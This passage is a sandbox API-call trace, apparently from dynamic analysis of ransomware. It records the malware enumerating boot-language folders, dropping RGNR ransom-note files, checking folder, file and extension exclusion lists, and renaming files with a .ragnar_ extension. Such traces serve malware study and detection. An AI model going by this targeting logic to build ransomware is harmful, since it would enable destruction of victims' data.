lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e684320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.257] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.257] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2=".") returned 1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="..") returned 1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="Windows") returned -1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="Windows.old") returned -1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="Tor browser") returned -1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="Internet Explorer") returned -1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="Google") returned -1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="Opera") returned -1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="Opera Software") returned -1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="Mozilla") returned -1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="Mozilla Firefox") returned -1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="$Recycle.Bin") returned 1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="ProgramData") returned -1 [0047.257] lstrcmpiW (lpString1="el-GR", lpString2="All Users") returned 1 [0047.257] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.257] lstrcpyW (in: lpString1=0x1ed660, lpString2="el-GR" | out: lpString1="el-GR") returned="el-GR" [0047.257] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\el-GR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\el-GR\\") returned="\\\\?\\C:\\Boot\\el-GR\\" [0047.257] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\el-GR\\" | out: lpString1="\\\\?\\C:\\Boot\\el-GR\\") returned="\\\\?\\C:\\Boot\\el-GR\\" [0047.257] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\el-GR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\el-GR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\el-GR\\RGNR_FD7BD9FC.txt" [0047.257] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\el-GR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\el-gr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.259] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\el-GR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\el-GR\\*.*") returned="\\\\?\\C:\\Boot\\el-GR\\*.*" [0047.259] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\el-GR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.259] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.259] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.259] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.259] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.259] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.259] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.259] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.259] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.259] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.259] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e684320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.259] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.260] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.260] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e684320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.260] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.260] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.260] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.260] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\el-GR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.260] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.260] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0047.260] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.260] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.260] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.260] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.260] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.260] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.260] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.260] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.260] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.260] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.260] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.260] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.261] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.261] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.261] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.261] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.261] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.261] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.261] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.261] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.261] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.261] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0047.262] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.262] CloseHandle (hObject=0xffffffff) returned 0 [0047.262] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" [0047.262] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.262] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.262] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e684320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.262] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\el-GR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.262] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.263] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\el-GR\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.263] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.263] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e684320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.263] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.263] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="Windows.old") returned -1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="Tor browser") returned -1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="Internet Explorer") returned -1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="Google") returned -1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="Opera") returned -1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="Opera Software") returned -1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="Mozilla") returned -1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="Mozilla Firefox") returned -1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="ProgramData") returned -1 [0047.263] lstrcmpiW (lpString1="en-US", lpString2="All Users") returned 1 [0047.263] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.263] lstrcpyW (in: lpString1=0x1ed660, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0047.263] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\en-US", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\en-US\\") returned="\\\\?\\C:\\Boot\\en-US\\" [0047.263] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\en-US\\" | out: lpString1="\\\\?\\C:\\Boot\\en-US\\") returned="\\\\?\\C:\\Boot\\en-US\\" [0047.263] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\en-US\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\en-US\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\en-US\\RGNR_FD7BD9FC.txt" [0047.263] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\en-US\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.265] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\en-US\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\en-US\\*.*") returned="\\\\?\\C:\\Boot\\en-US\\*.*" [0047.265] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\en-US\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.265] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.265] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.265] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6aa480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6aa480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.265] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.265] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6aa480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6aa480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.266] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.266] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.266] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.266] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0047.266] lstrcmpiW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0047.266] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0047.266] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6aa480, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e6aa480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.266] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.266] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.266] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6aa480, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e6aa480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.266] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.266] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6aa480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6aa480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.266] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e6aa480, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e6aa480, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.266] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.266] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\en-US\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.266] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.266] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.266] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.267] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.267] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.267] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.267] 